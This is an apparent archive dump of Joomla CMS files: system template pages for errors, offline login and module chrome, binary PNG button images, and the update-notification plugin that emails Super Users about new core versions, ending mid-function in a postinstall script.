 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/** @var JDocumentError $this */

if (!isset($this->error))
{
	$this->error = JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR'));
	$this->debug = false;
}

$app = JFactory::getApplication();
?>
<!DOCTYPE html>
<html lang="<?php echo $this->language; ?>" dir="<?php echo $this->direction; ?>">
<head>
	<meta charset="utf-8" />
	<title><?php echo $this->error->getCode(); ?> - <?php echo htmlspecialchars($this->error->getMessage(), ENT_QUOTES, 'UTF-8'); ?></title>
	<link href="<?php echo $this->baseurl; ?>/templates/<?php echo $this->template; ?>/css/error.css" rel="stylesheet" />
	<?php if ($this->direction === 'rtl') : ?>
		<link href="<?php echo $this->baseurl; ?>/templates/<?php echo $this->template; ?>/css/error_rtl.css" rel="stylesheet" />
	<?php endif; ?>
	<?php if ($app->get('debug_lang', '0') == '1' || $app->get('debug', '0') == '1') : ?>
		<link href="<?php echo JUri::root(true); ?>/media/cms/css/debug.css" rel="stylesheet" />
	<?php endif; ?>
	<!--[if lt IE 9]><script src="<?php echo JUri::root(true); ?>/media/jui/js/html5.js"></script><![endif]-->
</head>
<body>
	<div class="error">
		<div id="outline">
		<div id="errorboxoutline">
			<div id="errorboxheader"><?php echo $this->error->getCode(); ?> - <?php echo htmlspecialchars($this->error->getMessage(), ENT_QUOTES, 'UTF-8'); ?></div>
			<div id="errorboxbody">
			<p><strong><?php echo JText::_('JERROR_LAYOUT_NOT_ABLE_TO_VISIT'); ?></strong></p>
			<ol>
				<li><?php echo JText::_('JERROR_LAYOUT_AN_OUT_OF_DATE_BOOKMARK_FAVOURITE'); ?></li>
				<li><?php echo JText::_('JERROR_LAYOUT_SEARCH_ENGINE_OUT_OF_DATE_LISTING'); ?></li>
				<li><?php echo JText::_('JERROR_LAYOUT_MIS_TYPED_ADDRESS'); ?></li>
				<li><?php echo JText::_('JERROR_LAYOUT_YOU_HAVE_NO_ACCESS_TO_THIS_PAGE'); ?></li>
				<li><?php echo JText::_('JERROR_LAYOUT_REQUESTED_RESOURCE_WAS_NOT_FOUND'); ?></li>
				<li><?php echo JText::_('JERROR_LAYOUT_ERROR_HAS_OCCURRED_WHILE_PROCESSING_YOUR_REQUEST'); ?></li>
			</ol>
			<p><strong><?php echo JText::_('JERROR_LAYOUT_PLEASE_TRY_ONE_OF_THE_FOLLOWING_PAGES'); ?></strong></p>
			<ul>
				<li><a href="<?php echo JUri::root(true); ?>/index.php" title="<?php echo JText::_('JERROR_LAYOUT_GO_TO_THE_HOME_PAGE'); ?>"><?php echo JText::_('JERROR_LAYOUT_HOME_PAGE'); ?></a></li>
			</ul>
			<p><?php echo JText::_('JERROR_LAYOUT_PLEASE_CONTACT_THE_SYSTEM_ADMINISTRATOR'); ?></p>
			<div id="techinfo">
			<p>
				<?php echo htmlspecialchars($this->error->getMessage(), ENT_QUOTES, 'UTF-8'); ?>
				<?php if ($this->debug) : ?>
					<br/><?php echo htmlspecialchars($this->error->getFile(), ENT_QUOTES, 'UTF-8');?>:<?php echo $this->error->getLine(); ?>
				<?php endif; ?>
			</p>
			<?php if ($this->debug) : ?>
				<div>
					<?php echo $this->renderBacktrace(); ?>
					<?php // Check if there are more Exceptions and render their data as well ?>
					<?php if ($this->error->getPrevious()) : ?>
						<?php $loop = true; ?>
						<?php // Reference $this->_error here and in the loop as setError() assigns errors to this property and we need this for the backtrace to work correctly ?>
						<?php // Make the first assignment to setError() outside the loop so the loop does not skip Exceptions ?>
						<?php $this->setError($this->_error->getPrevious()); ?>
						<?php while ($loop === true) : ?>
							<p><strong><?php echo JText::_('JERROR_LAYOUT_PREVIOUS_ERROR'); ?></strong></p>
							<p>
								<?php echo htmlspecialchars($this->_error->getMessage(), ENT_QUOTES, 'UTF-8'); ?>
								<br/><?php echo htmlspecialchars($this->_error->getFile(), ENT_QUOTES, 'UTF-8');?>:<?php echo $this->_error->getLine(); ?>
							</p>
							<?php echo $this->renderBacktrace(); ?>
							<?php $loop = $this->setError($this->_error->getPrevious()); ?>
						<?php endwhile; ?>
						<?php // Reset the main error object to the base error ?>
						<?php $this->setError($this->error); ?>
					<?php endif; ?>
				</div>
			<?php endif; ?>
			</div>
			</div>
		</div>
		</div>
	</div>
</body>
</html>
PK!��\55	index.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  Template.system
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

include __DIR__ . '/component.php';
PK!�$�CC
component.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  Template.system
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/** @var JDocumentHtml $this */

// Output as HTML5
$this->setHtml5(true);

// Add html5 shiv
JHtml::_('script', 'jui/html5.js', array('version' => 'auto', 'relative' => true, 'conditional' => 'lt IE 9'));

// Styles
JHtml::_('stylesheet', 'general.css', array('version' => 'auto', 'relative' => true));
?>
<!DOCTYPE html>
<html lang="<?php echo $this->language; ?>" dir="<?php echo $this->direction; ?>">
<head>
	<jdoc:include type="head" />
</head>
<body class="contentpane">
	<jdoc:include type="message" />
	<jdoc:include type="component" />
</body>
</html>
PK!}Gr�:
:
offline.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  Template.system
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/** @var JDocumentHtml $this */

$app = JFactory::getApplication();

// Output as HTML5
$this->setHtml5(true);

// Add html5 shiv
JHtml::_('script', 'jui/html5.js', array('version' => 'auto', 'relative' => true, 'conditional' => 'lt IE 9'));

// Styles
JHtml::_('stylesheet', 'templates/system/css/offline.css', array('version' => 'auto'));

if ($this->direction === 'rtl')
{
	JHtml::_('stylesheet', 'templates/system/css/offline_rtl.css', array('version' => 'auto'));
}

JHtml::_('stylesheet', 'templates/system/css/general.css', array('version' => 'auto'));

// Add JavaScript Frameworks
JHtml::_('bootstrap.framework');

$twofactormethods = JAuthenticationHelper::getTwoFactorMethods();
?>
<!DOCTYPE html>
<html lang="<?php echo $this->language; ?>" dir="<?php echo $this->direction; ?>">
<head>
	<meta name="viewport" content="width=device-width, initial-scale=1.0" />
	<jdoc:include type="head" />
</head>
<body>
	<jdoc:include type="message" />
	<div id="frame" class="outline">
		<?php if ($app->get('offline_image') && file_exists($app->get('offline_image'))) : ?>
			<img src="<?php echo $app->get('offline_image'); ?>" alt="<?php echo htmlspecialchars($app->get('sitename'), ENT_COMPAT, 'UTF-8'); ?>" />
		<?php endif; ?>
		<h1>
			<?php echo htmlspecialchars($app->get('sitename'), ENT_COMPAT, 'UTF-8'); ?>
		</h1>
	<?php if ($app->get('display_offline_message', 1) == 1 && str_replace(' ', '', $app->get('offline_message')) !== '') : ?>
		<p>
			<?php echo $app->get('offline_message'); ?>
		</p>
	<?php elseif ($app->get('display_offline_message', 1) == 2 && str_replace(' ', '', JText::_('JOFFLINE_MESSAGE')) !== '') : ?>
		<p>
			<?php echo JText::_('JOFFLINE_MESSAGE'); ?>
		</p>
	<?php endif; ?>
	<form action="<?php echo JRoute::_('index.php', true); ?>" method="post" id="form-login">
	<fieldset class="input">
		<p id="form-login-username">
			<label for="username"><?php echo JText::_('JGLOBAL_USERNAME'); ?></label>
			<input name="username" id="username" type="text" class="inputbox" alt="<?php echo JText::_('JGLOBAL_USERNAME'); ?>" autocomplete="off" autocapitalize="none" />
		</p>
		<p id="form-login-password">
			<label for="passwd"><?php echo JText::_('JGLOBAL_PASSWORD'); ?></label>
			<input type="password" name="password" class="inputbox" alt="<?php echo JText::_('JGLOBAL_PASSWORD'); ?>" id="passwd" />
		</p>
		<?php if (count($twofactormethods) > 1) : ?>
			<p id="form-login-secretkey">
				<label for="secretkey"><?php echo JText::_('JGLOBAL_SECRETKEY'); ?></label>
				<input type="text" name="secretkey" autocomplete="one-time-code" class="inputbox" alt="<?php echo JText::_('JGLOBAL_SECRETKEY'); ?>" id="secretkey" />
			</p>
		<?php endif; ?>
		<p id="submit-buton">
			<input type="submit" name="Submit" class="button login" value="<?php echo JText::_('JLOGIN'); ?>" />
		</p>
		<input type="hidden" name="option" value="com_users" />
		<input type="hidden" name="task" value="user.login" />
		<input type="hidden" name="return" value="<?php echo base64_encode(JUri::base()); ?>" />
		<?php echo JHtml::_('form.token'); ?>
	</fieldset>
	</form>
	</div>
</body>
</html>
PK!=F��images/j_button2_readmore.pngnu&1i��PNG


IHDRK�l�IDATx��Ez�@�aݬ�G�]�ef�M�9f�A,��� ���@��|[�3Fba�8��e��h�ۈ��p�^���HQT.�ۚX<p���
����"�CH&��$b�f�Z���N�r�̲��D$:�c���H��X�i�a!��E�r�Tm�T�u��w��'L�oҶ�Ay����'d,8�h͖9(ݰA����	N�H0J�*�!U�:�&�Np���'�D*����	Nd��i~yy���ڕOy����U��o&��;1=���%�_�k_R����.O�i�{"��ђnz8�Zl�I�l�� ��@o����l8�C(.]k�;5uo�W�q����o��ԏN����N�*�+4/��e�����3O�s�6�(2C�GQ��ħk��?�{Ix����O<'
�I���jD�@dY�(JUU��s�������y`���K$�z]߶	�*��m2IEND�B`�PK!Aj$��images/selector-arrow.pngnu&1i��PNG


IHDR

X0$�0PLTE������������������ޱ����������׬�������)��tRNS@��fCIDAT�M�1�0�@".6&��� 궑��͖<ۢ���ʈ�/���t
��z�����,T�MK��o���7IEND�B`�PK!���r��images/j_button2_pagebreak.pngnu&1i��PNG


IHDRK�lIDATx�ԅ�� �a�i���;i�e�*������#�C�'���8���8��R��d2�FQ�0q�	!�0��p��Bȷ[�eY�m*UU�X��Z�T1��M�|���ܻ�D��u|b~��*���3����`�hF����ͷ�MLT҇/��O]]]��|qq������U��(���;ӚΖ��\���I�&&
���k�'��aj;��ML,���(�V/���m��mb"����YN��h�Tm�h�=O��Ҝj�J��ڿ��#�!��$�j���61I�K�<Er�ĵa�15�i�'�c��;�K��)�����x
��h��\�=99Y�V`ډ�8B���_N�#�����8�O��������~���wIEND�B`�PK!�#V��images/j_button2_right.pngnu&1i��PNG


IHDR�F1kIDATx��D��
www�;�d�Te`�һG�Rxn���/�ma��Kg�J��f�t;�
�v�]̀t��~t���n���
H�L���HG�@��J�t7��UKX��?ҭt+��'���B�����0JϘ�IEND�B`�PK!.����images/j_button2_image.pngnu&1i��PNG


IHDRK�lIIDATx����j��s:FF��m�ն�c��c'�����a�l����v�y�o��G$IRU5��!��0==��d��4�q����+�����f2[/�t���.dR�T&&3�X,Y�d2�(
2
	�pSQ��I��.�E�GEWo�ˋ5�
����A[�=V�\.�g�T ���V߻��;��q��g�g��n�bè(C��}���C��tk��|fz����\^�lè(A<��+�K��f�3<e��V�>�_6s�7ȖlEH �S�`���'���ĝP��J}a�vI
�6)��!�6��	H��5��<jY��c���-o{>�y=1>���q�~4B�&l���V�����W� �?�̖�R��)��Q��7�L��FM��ou���/�(�bs!9��(o_HW�W-�Z\�ZF���Z�PY
��
�����؅���#�Y�+�]F��aTBb	�US�O�I9�ڨ���,�4M��a������Q̀�H$6E�QUU�A��Z����ҵ�U@̾�$I�x�M�X����DF��&�q༌_Nap��f�0���D"��!����q
lIEND�B`�PK!���ߩ�images/j_button2_blank.pngnu&1i��PNG


IHDR��3�pIDATxu�5�0�����af&I�Ҷ6STC�c���=NC����p�ˈW�d�x�����
�(dF!1
�Q80
s�o/�%�{�"B��D�)��4�Ƞ�1B5��)���t8�0�IEND�B`�PK!2d���images/j_button2_left.pngnu&1i��PNG


IHDR�Պ0�vIDATx���0���?�-�c�&8"�2iU�X5&��W�X5�.��[��eA��RL
*Y�JҠT�T��R�YYИ�,������1�ͶD̪��Jr�s�Q1����`8�e�IEND�B`�PK!8V5html/modules.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  Template.system
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/*
 * none (output raw module content)
 */
function modChrome_none($module, &$params, &$attribs)
{
	echo $module->content;
}

/*
 * html5 (chosen html5 tag and font header tags)
 */
function modChrome_html5($module, &$params, &$attribs)
{
	$moduleTag      = htmlspecialchars($params->get('module_tag', 'div'), ENT_QUOTES, 'UTF-8');
	$headerTag      = htmlspecialchars($params->get('header_tag', 'h3'), ENT_QUOTES, 'UTF-8');
	$bootstrapSize  = (int) $params->get('bootstrap_size', 0);
	$moduleClass    = $bootstrapSize !== 0 ? ' span' . $bootstrapSize : '';

	// Temporarily store header class in variable
	$headerClass    = $params->get('header_class');
	$headerClass    = !empty($headerClass) ? ' class="' . htmlspecialchars($headerClass, ENT_COMPAT, 'UTF-8') . '"' : '';

	if (!empty ($module->content)) : ?>
		<<?php echo $moduleTag; ?> class="moduletable<?php echo htmlspecialchars($params->get('moduleclass_sfx'), ENT_COMPAT, 'UTF-8') . $moduleClass; ?>">

		<?php if ((bool) $module->showtitle) :?>
			<<?php echo $headerTag . $headerClass . '>' . $module->title; ?></<?php echo $headerTag; ?>>
		<?php endif; ?>

			<?php echo $module->content; ?>

		</<?php echo $moduleTag; ?>>

	<?php endif;
}

/*
 * Module chrome that wraps the module in a table
 */
function modChrome_table($module, &$params, &$attribs)
{ ?>
	<table cellpadding="0" cellspacing="0" class="moduletable<?php echo htmlspecialchars($params->get('moduleclass_sfx'), ENT_COMPAT, 'UTF-8'); ?>">
	<?php if ((bool) $module->showtitle) : ?>
		<tr>
			<th>
				<?php echo $module->title; ?>
			</th>
		</tr>
	<?php endif; ?>
		<tr>
			<td>
				<?php echo $module->content; ?>
			</td>
		</tr>
		</table>
	<?php
}

/*
 * Module chrome that wraps the tabled module output in a <td> tag of another table
 */
function modChrome_horz($module, &$params, &$attribs)
{ ?>
	<table cellspacing="1" cellpadding="0" width="100%">
		<tr>
			<td>
				<?php modChrome_table($module, $params, $attribs); ?>
			</td>
		</tr>
	</table>
	<?php
}

/*
 * xhtml (divs and font header tags)
 * With the new advanced parameter it does the same as the html5 chrome
 */
function modChrome_xhtml($module, &$params, &$attribs)
{
	$moduleTag      = htmlspecialchars($params->get('module_tag', 'div'), ENT_QUOTES, 'UTF-8');
	$headerTag      = htmlspecialchars($params->get('header_tag', 'h3'), ENT_QUOTES, 'UTF-8');
	$bootstrapSize  = (int) $params->get('bootstrap_size', 0);
	$moduleClass    = $bootstrapSize !== 0 ? ' span' . $bootstrapSize : '';

	// Temporarily store header class in variable
	$headerClass    = $params->get('header_class');
	$headerClass    = $headerClass ? ' class="' . htmlspecialchars($headerClass, ENT_COMPAT, 'UTF-8') . '"' : '';

	if (!empty ($module->content)) : ?>
		<<?php echo $moduleTag; ?> class="moduletable<?php echo htmlspecialchars($params->get('moduleclass_sfx'), ENT_COMPAT, 'UTF-8') . $moduleClass; ?>">
			<?php if ((bool) $module->showtitle) : ?>
				<<?php echo $headerTag . $headerClass . '>' . $module->title; ?></<?php echo $headerTag; ?>>
			<?php endif; ?>
			<?php echo $module->content; ?>
		</<?php echo $moduleTag; ?>>
	<?php endif;
}

/*
 * Module chrome that allows for rounded corners by wrapping in nested div tags
 */
function modChrome_rounded($module, &$params, &$attribs)
{ ?>
		<div class="module<?php echo htmlspecialchars($params->get('moduleclass_sfx'), ENT_COMPAT, 'UTF-8'); ?>">
			<div>
				<div>
					<div>
						<?php if ((bool) $module->showtitle) : ?>
							<h3><?php echo $module->title; ?></h3>
						<?php endif; ?>
					<?php echo $module->content; ?>
					</div>
				</div>
			</div>
		</div>
	<?php
}

/*
 * Module chrome that add preview information to the module
 */
function modChrome_outline($module, &$params, &$attribs)
{
	static $css = false;

	if (!$css)
	{
		$css = true;
		$doc = JFactory::getDocument();

		$doc->addStyleDeclaration('
		.mod-preview {
			background: rgba(100,100,100,.08);
			box-shadow: 0 0 0 4px #f4f4f4, 0 0 0 5px rgba(100,100,100,.2);
			border-radius: 1px;
			margin: 8px 0;
		}
		.mod-preview-info {
			padding: 4px 6px;
			margin-bottom: 5px;
			font-family: Arial, sans-serif;
			font-size: .75rem;
			line-height: 1rem;
			color: white;
			background-color: #33373f;
			border-radius: 3px;
			box-shadow: 0 -10px 20px rgba(0,0,0,.2) inset;
		}
		.mod-preview-info span {
			font-weight: bold;
			color: #ccc;
		}
		.mod-preview-wrapper {
			margin-bottom: .5rem;
		}
		');
	}
	?>
	<div class="mod-preview">
		<div class="mod-preview-info">
			<div class="mod-preview-position">
				<?php echo JText::sprintf('JGLOBAL_PREVIEW_POSITION', $module->position); ?>
			</div>
			<div class="mod-preview-style">
				<?php echo JText::sprintf('JGLOBAL_PREVIEW_STYLE', $module->style); ?>
			</div>
		</div>
		<div class="mod-preview-wrapper">
			<?php echo $module->content; ?>
		</div>
	</div>
	<?php
}
PK!��j>>)updatenotification/updatenotification.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" group="system" method="upgrade">
	<name>plg_system_updatenotification</name>
	<author>Joomla! Project</author>
	<creationDate>May 2015</creationDate>
	<copyright>(C) 2015 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.5.0</version>
	<description>PLG_SYSTEM_UPDATENOTIFICATION_XML_DESCRIPTION</description>
	<files>
		<filename plugin="updatenotification">updatenotification.php</filename>
	</files>
	<languages folder="language">
		<language tag="en-GB">language/en-GB/plg_system_updatenotification.ini</language>
		<language tag="en-GB">language/en-GB/plg_system_updatenotification.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="email"
					type="text"
					label="PLG_SYSTEM_UPDATENOTIFICATION_EMAIL_LBL"
					description="PLG_SYSTEM_UPDATENOTIFICATION_EMAIL_DESC"
					default=""
					size="40"
				/>

				<field
					name="language_override"
					type="language"
					label="PLG_SYSTEM_UPDATENOTIFICATION_LANGUAGE_OVERRIDE_LBL"
					description="PLG_SYSTEM_UPDATENOTIFICATION_LANGUAGE_OVERRIDE_DESC"
					default=""
					client="administrator"
					>
					<option value="">PLG_SYSTEM_UPDATENOTIFICATION_LANGUAGE_OVERRIDE_NONE</option>
				</field>

				<field
					name="lastrun"
					type="hidden"
					default="0"
					size="15"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK!�k�lP-P-)updatenotification/updatenotification.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.updatenotification
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Access\Access;
use Joomla\CMS\Cache\Cache;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Extension\ExtensionHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Log\Log;
use Joomla\CMS\Mail\Exception\MailDisabledException;
use Joomla\CMS\Mail\MailTemplate;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\CMS\Table\Table;
use Joomla\CMS\Updater\Updater;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\Version;
use Joomla\Database\ParameterType;
use PHPMailer\PHPMailer\Exception as phpMailerException;

// Uncomment the following line to enable debug mode (update notification email sent every single time)
// define('PLG_SYSTEM_UPDATENOTIFICATION_DEBUG', 1);

/**
 * Joomla! Update Notification plugin
 *
 * Sends out an email to all Super Users or a predefined list of email addresses of Super Users when a new
 * Joomla! version is available.
 *
 * This plugin is a direct adaptation of the corresponding plugin in Akeeba Ltd's Admin Tools. The author has
 * consented to relicensing their plugin's code under GPLv2 or later (the original version was licensed under
 * GPLv3 or later) to allow its inclusion in the Joomla! CMS.
 *
 * @since  3.5
 */
class PlgSystemUpdatenotification extends CMSPlugin
{
	/**
	 * Application object
	 *
	 * @var    \Joomla\CMS\Application\CMSApplication
	 * @since  4.0.0
	 */
	protected $app;

	/**
	 * Database driver
	 *
	 * @var    \Joomla\Database\DatabaseInterface
	 * @since  4.0.0
	 */
	protected $db;

	/**
	 * Load plugin language files automatically
	 *
	 * @var    boolean
	 * @since  3.6.3
	 */
	protected $autoloadLanguage = true;

	/**
	 * The update check and notification email code is triggered after the page has fully rendered.
	 *
	 * @return  void
	 *
	 * @since   3.5
	 */
	public function onAfterRender()
	{
		// Get the timeout for Joomla! updates, as configured in com_installer's component parameters
		$component = ComponentHelper::getComponent('com_installer');

		/** @var \Joomla\Registry\Registry $params */
		$params        = $component->getParams();
		$cache_timeout = (int) $params->get('cachetimeout', 6);
		$cache_timeout = 3600 * $cache_timeout;

		// Do we need to run? Compare the last run timestamp stored in the plugin's options with the current
		// timestamp. If the difference is greater than the cache timeout we shall not execute again.
		$now  = time();
		$last = (int) $this->params->get('lastrun', 0);

		if (!defined('PLG_SYSTEM_UPDATENOTIFICATION_DEBUG') && (abs($now - $last) < $cache_timeout))
		{
			return;
		}

		// Update last run status
		// If I have the time of the last run, I can update, otherwise insert
		$this->params->set('lastrun', $now);

		$db         = $this->db;
		$paramsJson = $this->params->toString('JSON');

		$query = $db->getQuery(true)
			->update($db->quoteName('#__extensions'))
			->set($db->quoteName('params') . ' = :params')
			->where($db->quoteName('type') . ' = ' . $db->quote('plugin'))
			->where($db->quoteName('folder') . ' = ' . $db->quote('system'))
			->where($db->quoteName('element') . ' = ' . $db->quote('updatenotification'))
			->bind(':params', $paramsJson);

		try
		{
			// Lock the tables to prevent multiple plugin executions causing a race condition
			$db->lockTable('#__extensions');
		}
		catch (Exception $e)
		{
			// If we can't lock the tables it's too risky to continue execution
			return;
		}

		try
		{
			// Update the plugin parameters
			$result = $db->setQuery($query)->execute();

			$this->clearCacheGroups(['com_plugins']);
		}
		catch (Exception $exc)
		{
			// If we failed to execute
			$db->unlockTables();
			$result = false;
		}

		try
		{
			// Unlock the tables after writing
			$db->unlockTables();
		}
		catch (Exception $e)
		{
			// If we can't lock the tables assume we have somehow failed
			$result = false;
		}

		// Abort on failure
		if (!$result)
		{
			return;
		}

		// This is the extension ID for Joomla! itself
		$eid = ExtensionHelper::getExtensionRecord('joomla', 'file')->extension_id;

		// Get any available updates
		$updater = Updater::getInstance();
		$results = $updater->findUpdates([$eid], $cache_timeout);

		// If there are no updates our job is done. We need BOTH this check AND the one below.
		if (!$results)
		{
			return;
		}

		// Get the update model and retrieve the Joomla! core updates
		$model = $this->app->bootComponent('com_installer')
			->getMVCFactory()->createModel('Update', 'Administrator', ['ignore_request' => true]);
		$model->setState('filter.extension_id', $eid);
		$updates = $model->getItems();

		// If there are no updates we don't have to notify anyone about anything. This is NOT a duplicate check.
		if (empty($updates))
		{
			return;
		}

		// Get the available update
		$update = array_pop($updates);

		// Check the available version. If it's the same or less than the installed version we have no updates to notify about.
		if (version_compare($update->version, JVERSION, 'le'))
		{
			return;
		}

		// If we're here, we have updates. First, get a link to the Joomla! Update component.
		$baseURL  = Uri::base();
		$baseURL  = rtrim($baseURL, '/');
		$baseURL .= (substr($baseURL, -13) !== 'administrator') ? '/administrator/' : '/';
		$baseURL .= 'index.php?option=com_joomlaupdate';
		$uri      = new Uri($baseURL);

		/**
		 * Some third party security solutions require a secret query parameter to allow log in to the administrator
		 * backend of the site. The link generated above will be invalid and could probably block the user out of their
		 * site, confusing them (they can't understand the third party security solution is not part of Joomla! proper).
		 * So, we're calling the onBuildAdministratorLoginURL system plugin event to let these third party solutions
		 * add any necessary secret query parameters to the URL. The plugins are supposed to have a method with the
		 * signature:
		 *
		 * public function onBuildAdministratorLoginURL(Uri &$uri);
		 *
		 * The plugins should modify the $uri object directly and return null.
		 */
		$this->app->triggerEvent('onBuildAdministratorLoginURL', [&$uri]);

		// Let's find out the email addresses to notify
		$superUsers    = [];
		$specificEmail = $this->params->get('email', '');

		if (!empty($specificEmail))
		{
			$superUsers = $this->getSuperUsers($specificEmail);
		}

		if (empty($superUsers))
		{
			$superUsers = $this->getSuperUsers();
		}

		if (empty($superUsers))
		{
			return;
		}

		/*
		 * Load the appropriate language. We try to load English (UK), the current user's language and the forced
		 * language preference, in this order. This ensures that we'll never end up with untranslated strings in the
		 * update email which would make Joomla! seem bad. So, please, if you don't fully understand what the
		 * following code does DO NOT TOUCH IT. It makes the difference between a hobbyist CMS and a professional
		 * solution!
		 */
		$jLanguage = $this->app->getLanguage();
		$jLanguage->load('plg_system_updatenotification', JPATH_ADMINISTRATOR, 'en-GB', true, true);
		$jLanguage->load('plg_system_updatenotification', JPATH_ADMINISTRATOR, null, true, false);

		// Then try loading the preferred (forced) language
		$forcedLanguage = $this->params->get('language_override', '');

		if (!empty($forcedLanguage))
		{
			$jLanguage->load('plg_system_updatenotification', JPATH_ADMINISTRATOR, $forcedLanguage, true, false);
		}

		// Replace merge codes with their values
		$newVersion = $update->version;

		$jVersion       = new Version;
		$currentVersion = $jVersion->getShortVersion();

		$sitename = $this->app->get('sitename');

		$substitutions = [
			'newversion'  => $newVersion,
			'curversion'  => $currentVersion,
			'sitename'    => $sitename,
			'url'         => Uri::base(),
			'link'        => $uri->toString(),
			'releasenews' => 'https://www.joomla.org/announcements/release-news/',
		];

		// Send the emails to the Super Users
		foreach ($superUsers as $superUser)
		{
			try
			{
				$mailer = new MailTemplate('plg_system_updatenotification.mail', $jLanguage->getTag());
				$mailer->addRecipient($superUser->email);
				$mailer->addTemplateData($substitutions);
				$mailer->send();
			}
			catch (MailDisabledException | phpMailerException $exception)
			{
				try
				{
					Log::add(Text::_($exception->getMessage()), Log::WARNING, 'jerror');
				}
				catch (\RuntimeException $exception)
				{
					$this->app->enqueueMessage(Text::_($exception->errorMessage()), 'warning');
				}
			}
		}
	}

	/**
	 * Returns the Super Users email information. If you provide a comma separated $email list
	 * we will check that these emails do belong to Super Users and that they have not blocked
	 * system emails.
	 *
	 * @param   null|string  $email  A list of Super Users to email
	 *
	 * @return  array  The list of Super User emails
	 *
	 * @since   3.5
	 */
	private function getSuperUsers($email = null)
	{
		$db = $this->db;
		$emails = [];

		// Convert the email list to an array
		if (!empty($email))
		{
			$temp   = explode(',', $email);

			foreach ($temp as $entry)
			{
				$emails[] = trim($entry);
			}

			$emails = array_unique($emails);
		}

		// Get a list of groups which have Super User privileges
		$ret = [];

		try
		{
			$rootId    = Table::getInstance('Asset')->getRootId();
			$rules     = Access::getAssetRules($rootId)->getData();
			$rawGroups = $rules['core.admin']->getData();
			$groups    = [];

			if (empty($rawGroups))
			{
				return $ret;
			}

			foreach ($rawGroups as $g => $enabled)
			{
				if ($enabled)
				{
					$groups[] = $g;
				}
			}

			if (empty($groups))
			{
				return $ret;
			}
		}
		catch (Exception $exc)
		{
			return $ret;
		}

		// Get the user IDs of users belonging to the SA groups
		try
		{
			$query = $db->getQuery(true)
				->select($db->quoteName('user_id'))
				->from($db->quoteName('#__user_usergroup_map'))
				->whereIn($db->quoteName('group_id'), $groups);

			$db->setQuery($query);
			$userIDs = $db->loadColumn(0);

			if (empty($userIDs))
			{
				return $ret;
			}
		}
		catch (Exception $exc)
		{
			return $ret;
		}

		// Get the user information for the Super Administrator users
		try
		{
			$query = $db->getQuery(true)
				->select($db->quoteName(['id', 'username', 'email']))
				->from($db->quoteName('#__users'))
				->whereIn($db->quoteName('id'), $userIDs)
				->where($db->quoteName('block') . ' = 0')
				->where($db->quoteName('sendEmail') . ' = 1');

			if (!empty($emails))
			{
				$lowerCaseEmails = array_map('strtolower', $emails);
				$query->whereIn('LOWER(' . $db->quoteName('email') . ')', $lowerCaseEmails, ParameterType::STRING);
			}

			$db->setQuery($query);
			$ret = $db->loadObjectList();
		}
		catch (Exception $exc)
		{
			return $ret;
		}

		return $ret;
	}

	/**
	 * Clears cache groups. We use it to clear the plugins cache after we update the last run timestamp.
	 *
	 * @param   array  $clearGroups  The cache groups to clean
	 *
	 * @return  void
	 *
	 * @since   3.5
	 */
	private function clearCacheGroups(array $clearGroups)
	{
		foreach ($clearGroups as $group)
		{
			try
			{
				$options = [
					'defaultgroup' => $group,
					'cachebase'    => $this->app->get('cache_path', JPATH_CACHE),
				];

				$cache = Cache::getInstance('callback', $options);
				$cache->clean();
			}
			catch (Exception $e)
			{
				// Ignore it
			}
		}
	}
}
PK!�/�2updatenotification/postinstall/updatecachetime.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.updatenotification
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Table\Table;

/**
 * Checks if the com_installer config for the cache Hours are eq 0 and the updatenotification Plugin is enabled
 *
 * @return  boolean
 *
 * @since   3.6.3
 */
function updatecachetime_postinstall_condition()
{
	$cacheTimeout = (int) ComponentHelper::getComponent('com_installer')->params->get('cachetimeout', 6);

	// Check if cachetimeout is eq zero
	if ($cacheTimeout === 0 && PluginHelper::isEnabled('system', 'updatenotification'))
	{
		return true;
	}

	return false;
}

/**
 * Sets the cachetimeout back to the default (6 hours)
 *
 * @return  void
 *
 * @since   3.6.3
 */
function updatecachetime_postinstall_action()
{
	$installer = ComponentHelper::getComponent('com_installer');

	// Sets the cachetimeout back to the default (6 hours)
	$installer->params->set('cachetimeout', 6);

	// Save the new parameters back to com_installer
